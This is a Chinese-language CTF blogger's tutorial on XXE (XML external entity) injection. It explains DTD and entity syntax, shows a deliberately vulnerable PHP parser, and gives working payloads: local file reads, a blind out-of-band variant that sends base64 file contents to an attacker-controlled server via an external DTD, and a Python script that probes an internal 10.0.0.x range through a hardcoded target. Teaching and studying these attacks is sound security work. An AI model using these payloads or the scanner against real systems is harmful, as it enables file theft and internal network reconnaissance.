3rsh1
/single dog/college student/ctfer
3rsh1's Blog

xxe漏洞

xxe&xml

XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题。 xxe需要用到xml文档和dtd文档,因此这里我们需要了解一定的xml和dtd语法。

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 xml文档就像是根据框架填内容,dtd规定了语法和框架,而在xml文档中按照规则进行填充。

相关语法及介绍

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 下面来看一个例子:

<!--XML申明-->
<?xml version="1.0"?> 
<!--文档类型定义,就像模板一样-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素,即对于模板的填充-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

dtd文档类型定义:

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。 外部引用的就是*.dtd文档,此类型的文档可以被引用在xml文档中。

<!ENTITY 根元素 [元素声明]>        //内部引用
<!ENTITY 根元素 SYSTEM "文件名">  //外部引用  

一些关键字:

DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)

实体

类似变量,变量的值是dtd文档类型定义或者其他字符串。可以分为外部实体和内部实体。按照类型也可以分为以下四种:

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

这里的参数实体可以在dtd文档中引用不能在xml文档中引用和申明,其余的实体只能在dtd文档中申明,在xml文档中引用。

内部实体:

<!ENTITY 实体名称 "实体的值">
<!ENTITY test "test">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY test SYSTEM "other.xml">

外部参数实体:

<!ENTITY % 实体名称 "实体的值">
<?xml version="1.0"?>
<!DOCTYPE ROOT [
    <!ENTITY % PARAM1 "HELLO">
    <!ENTITY % PARAM2 "HELLO2">
    <!ENTITY % DTD SYSTEM "./INFO.dtd">
    %dtd;
    ]>

漏洞的问题主要出在引用上,dtd类型的声明可以放在dtd文件中,那么相应的文件也可以被引用。那么如果可以引用外部实体,实体就可以是我们的自己构造的恶意文件,或者说可以读取服务器上的敏感文件。当引入的恶意实体被解析之后就可以实现一些攻击。

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

漏洞利用

有回显的读取本地敏感文件

主要是在有回显的时候使用,且我们可以控制回显的内容。示例如下:

//xml.php
<?php
    libxml_disable_entity_loader (false);
    xmlfile = file_get_contents('php://input');dom = new DOMDocument();
    dom->loadXML(xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    creds = simplexml_import_dom(dom);
    echo $creds;
?>

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

这是建立在读取的内容没有特殊符号的前提下,若是读取的内容存在<?等特殊符号,特殊符号可能会和<creds>等标签发生一些奇怪的反应,导致报错。

当要输出的内容被闭合在<![CDATA[内容]]>内:
<![CDATA[&goodies]]>
CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

所以我们需要把要输出的内容闭合在上面的标签中,防止一些特殊符号被xml解释器解析。这里需要注意的是,挡在xml进行拼接的时候会报错,当然我们也没有提到在xml中进行拼接的语法,因此我们就考虑能不能再dtd中进行拼接,然后在xml中进行调用。

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd:

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

具体的调用过程:引入%dtd实体,分别引入%start%goodies%end实体。最后在xml文档元素部分引入&all,即最后的内容是在<![CDATA[ ]]>中输出的,因此不会引起报错。这里的参数实体的引入就像php的include一样,把内容包含进来。这里有个问题不太明白就是,双引号内的%end是否可以看作是实体的引用呢?因为参数实体无法在xml元素中引用,所以在引用的过程中肯定是转化为字符串了的,那就暂且认为在解析&all的过程中是自动完成了参数实体内容的替换吧。内容实际上是可以在双引号内就完成替换的,应该是在%dtd;之后完成了实体的引用,然后&all输出。

无回显读取本地敏感文件(Blind OOB XXE)

xml.php

<?php

libxml_disable_entity_loader (false);
xmlfile = file_get_contents('php://input');dom = new DOMDocument();
dom->loadXML(xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY + send SYSTEM 'http://ip:9999?p=%file;'>">
<!--  (+) = (#) 

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

这里有一个小技巧,当我们使用 libxml 读取文件内容的时候,文件不能过大,如果太大就会报错,于是我们就需要使用 php
过滤器的一个压缩的方法
压缩:echo file_get_contents(“php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd”);
解压:echo file_get_contents(“php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1”);

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将test.dtd包含进来,然后 %int 调用 test.dtd中的%file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 "),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

我们看到这里使用的http协议,向另外一台服务器发送请求,类似于ssrf。那么相应的也可以使用别的协议:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20200805185156.png

HTTP 内网主机探测

脚本如下:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print(coded_string)
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print(string)
        build_xml(string)
    except:
        continue

参考链接:

https://xz.aliyun.com/t/3357#toc-23
https://thief.one/2017/06/20/1/
https://www.anquanke.com/post/id/197423#h3-5

—— 2020年8月5日 18点59分

发表评论

textsms
account_circle
email

3rsh1's Blog

xxe漏洞
xxe&xml XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题。 xxe需要用到xml文档和dtd文档,因此这里我们需要…
扫描二维码继续阅读
2020-08-05